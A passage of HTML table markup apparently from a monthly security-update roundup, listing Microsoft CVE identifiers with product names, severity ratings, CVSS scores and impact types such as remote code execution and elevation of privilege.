  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
